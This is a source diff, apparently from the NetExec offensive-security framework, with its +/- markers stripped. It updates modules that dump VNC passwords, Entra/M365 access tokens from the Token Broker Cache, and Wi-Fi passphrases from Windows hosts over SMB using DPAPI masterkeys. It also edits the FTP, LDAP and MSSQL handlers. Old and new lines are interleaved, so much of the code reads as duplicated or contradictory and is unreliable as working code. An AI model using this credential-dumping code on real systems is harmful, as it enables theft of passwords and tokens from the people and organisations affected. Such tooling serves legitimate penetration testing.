_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(dploot_conn)
if dploot_conn.target.protocol != "smb":
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None:
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
if password is None:
continue
password = password.encode().rstrip(b"\x00").decode()
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -96,9 +139,9 @@ class NXCModule:
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, dpapi_conn):
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -109,12 +152,10 @@ class NXCModule:
)
for vnc_name, path, key in vncs:
try:
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
except rrp.DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
else:
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
@@ -122,7 +163,7 @@ class NXCModule:
password = self.recover_vncpassword(value)
if password is None:
continue
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -130,10 +171,7 @@ class NXCModule:
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
if value is None:
continue
value = value.encode().rstrip(b"\x00").decode()
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -143,13 +181,13 @@ class NXCModule:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -192,8 +230,8 @@ class NXCModule:
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, filepath in vncs:
file_content = dploot_conn.read_file(share=self.share, path=filepath)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
@@ -201,16 +239,39 @@ class NXCModule:
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
for sid in conn.reg_enum_key("HKLM", userlist_key):
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
if "C:\\Users" not in profile_path:
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+32 -5
View File
@@ -1,27 +1,54 @@
import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting Token Broker Cache access tokens")
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
@@ -31,10 +58,10 @@ class NXCModule:
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
try:
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+35 -10
View File
@@ -1,29 +1,54 @@
from dploot.lib.target import Target
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
name = "wifi"
description = "Get key of all wireless interfaces"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting Wifi interfaces")
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
try:
# Collect Chrome Based Browser stored secrets
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
wifi_creds = wifi_triage.triage_wifi()
except Exception as e:
context.log.debug(f"Error while looting wifi: {e}")
@@ -32,16 +57,16 @@ class NXCModule:
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
try:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
except Exception:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
try:
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
if self.eap_username is not None and self.eap_password is not None:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
else:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
except Exception:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
else:
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
+10 -38
View File
@@ -1,16 +1,15 @@
from io import BytesIO
import os
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.logger import NXCAdapter
from ftplib import FTP, error_perm, error_temp
from ftplib import FTP, error_perm
class ftp(connection):
def __init__(self, args, db, host):
self.protocol = "FTP"
self.welcome_banner = ""
self.remote_version = None
super().__init__(args, db, host)
@@ -27,12 +26,11 @@ class ftp(connection):
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
for line in welcome.splitlines():
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.welcome_banner}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
def print_host_info(self):
self.logger.display(f"Banner: {self.welcome_banner}")
self.logger.display(f"Banner: {self.remote_version}")
def create_conn_obj(self):
self.conn = FTP()
@@ -52,12 +50,13 @@ class ftp(connection):
self.logger.debug(f"Response: {resp}")
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
self.conn.close()
return False
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
if "230" in resp:
self.logger.debug(f"Host: {self.host} Port: {self.port}")
self.db.add_host(self.host, self.port, self.welcome_banner)
self.db.add_host(self.host, self.port, self.remote_version)
cred_id = self.db.add_credential(username, password)
@@ -102,9 +101,8 @@ class ftp(connection):
self.put_file(self.args.put[0], self.args.put[1])
if not self.args.continue_on_success:
self.conn.close()
return True
def disconnect(self):
self.conn.close()
def list_directory_full(self):
@@ -117,10 +115,6 @@ class ftp(connection):
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
self.conn.close()
return False
except error_temp as e:
self.logger.fail(e)
self.conn.close()
return False
return files
def get_file(self, filename):
@@ -131,6 +125,8 @@ class ftp(connection):
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Check if the file exists
self.conn.size(filename)
# Attempt to download the file
with open(downloaded_file, "wb") as f:
self.conn.retrbinary(f"RETR {filename}", f.write)
@@ -165,30 +161,6 @@ class ftp(connection):
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
def cat(self):
# Extract the filename from the path
remote_file = self.args.cat
try:
# Check if the current connection is ASCII (ASCII does not support .size())
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Attempt to get the file content
buf = BytesIO()
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
except error_perm as error_message:
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
return False
except FileNotFoundError:
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
return False
try:
for line in buf.getvalue().decode().splitlines():
self.logger.highlight(line)
except UnicodeDecodeError as e:
self.logger.fail(f"File is not in UTF-8: {e}")
def supported_commands(self):
raw_supported_commands = self.conn.sendcmd("HELP")
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
-1
View File
@@ -7,7 +7,6 @@ def proto_args(parser, parents):
cgroup = ftp_parser.add_argument_group("File Operations")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
return parser
+5 -17
View File
@@ -147,12 +147,11 @@ class ldap(connection):
return ""
def check_ldap_signing(self):
self.signing_required = None
self.signing_required = False
ldap_url = f"ldap://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
ldap_connection.login(domain=self.domain)
self.signing_required = False
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
@@ -186,7 +185,6 @@ class ldap(connection):
self.cbt_status = "When Supported" # CBT is When Supported
else:
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
self.cbt_status = "Unknown"
except SysCallError as e:
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
@@ -285,12 +283,7 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.signing_required is True:
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
elif self.signing_required is False:
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
else:
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
@@ -1730,7 +1723,6 @@ class ldap(connection):
aeskey=self.aesKey,
kdc=self.kdcHost,
auth_method="auto",
ldap_channel_binding=self.cbt_status == "Always"
)
ad = AD(
auth=auth,
@@ -1769,13 +1761,9 @@ class ldap(connection):
exclude_dcs=False,
)
except Exception as e:
if "ldap3-bleeding-edge" in str(e):
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
return
else:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
# Collect ADCS data using CertiHound if requested
if "adcs" in collect:
+124
View File
@@ -0,0 +1,124 @@
from impacket.ldap.ldaptypes import ACCESS_MASK
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-32-553": "RAS and IAS Servers",
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
"S-1-5-32-568": r"BUILTIN\DCOM Users",
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
"S-1-5-32-581": r"BUILTIN\Default Account",
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
"S-1-5-32-583": r"BUILTIN\Device Owners",
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
"S-1-5-33": "Write Restricted Code",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
"S-1-5-80": "NT Service",
"S-1-5-80-0": "All Services",
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
"S-1-5-1000": "Other Organization",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-18-1": "Authentication Authority Asserted Identity",
"S-1-18-2": "Service Asserted Identity",
"S-1-18-3": "Fresh public key identity",
"S-1-18-5": "MFA Key Property",
"S-1-18-6": "Attested Key Property",
}
ACCESS_MASK_TO_TEXT_LOOKUP = {
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
ACCESS_MASK.DELETE: "DELETE",
# file system rights
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES"
}
+50 -96
View File
@@ -1,7 +1,6 @@
import os
import random
import contextlib
import binascii
from termcolor import colored
from nxc.config import process_secret, host_info_colors
@@ -12,11 +11,8 @@ from nxc.logger import NXCAdapter
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.dpapi import DPAPITriage
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from dploot.lib.network.mssql import MSSQLTarget as Target
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
@@ -48,13 +44,6 @@ class mssql(connection):
self.lmhash = ""
self.nthash = ""
self.no_ntlm = False
self.encryption = None
self.edition = ""
self.version = ""
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -501,65 +490,68 @@ class mssql(connection):
return "[" + str(ident).replace("]", "]]") + "]"
def list_databases(self):
query = """
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
FROM sys.databases d
ORDER BY d.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display("No databases returned")
return
try:
q = (
"SELECT d.name AS DatabaseName, "
" suser_sname(d.owner_sid) AS Owner "
"FROM sys.databases d "
"ORDER BY d.name;"
)
rows = self.conn.sql_query(q) or []
if not rows:
self.logger.display("No databases returned")
return
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for row in rows:
database_name = row.get("DatabaseName", "")
owner = row.get("Owner", "")
self.logger.highlight(f"{database_name:<30} {owner:<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for r in rows:
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
except Exception as e:
self.logger.fail(f"Failed to enumerate databases: {e}")
self.logger.debug("list_databases error", exc_info=True)
def database(self):
db_arg = self.args.database
# nxc --database (no value) -> list
if self.args.database is True:
if db_arg is True or db_arg is None:
self.list_databases()
return
# nxc --database <name> -> tables
if isinstance(self.args.database, str):
safe = self.args.database.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not exists:
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
if isinstance(db_arg, str):
try:
safe = db_arg.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if not exists:
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
return
tq = (
f"SELECT t.name AS TableName, t.modify_date "
f"FROM {self._qname(db_arg)}.sys.tables t "
f"ORDER BY t.name;"
)
rows = self.conn.sql_query(tq) or []
except Exception as e:
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
self.logger.debug("database() error", exc_info=True)
return
query = f"""
SELECT t.name AS TableName, t.modify_date
FROM {self._qname(self.args.database)}.sys.tables t
ORDER BY t.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display(f"Database [{self.args.database}] has no user tables.")
self.logger.display(f"Database [{db_arg}] has no user tables.")
return
self.logger.display(f"Tables in database: {self.args.database}")
self.logger.display(f"Tables in database: {db_arg}")
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
for row in rows:
modify_date = row.get("modify_date", "")
if modify_date and hasattr(modify_date, "strftime"):
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
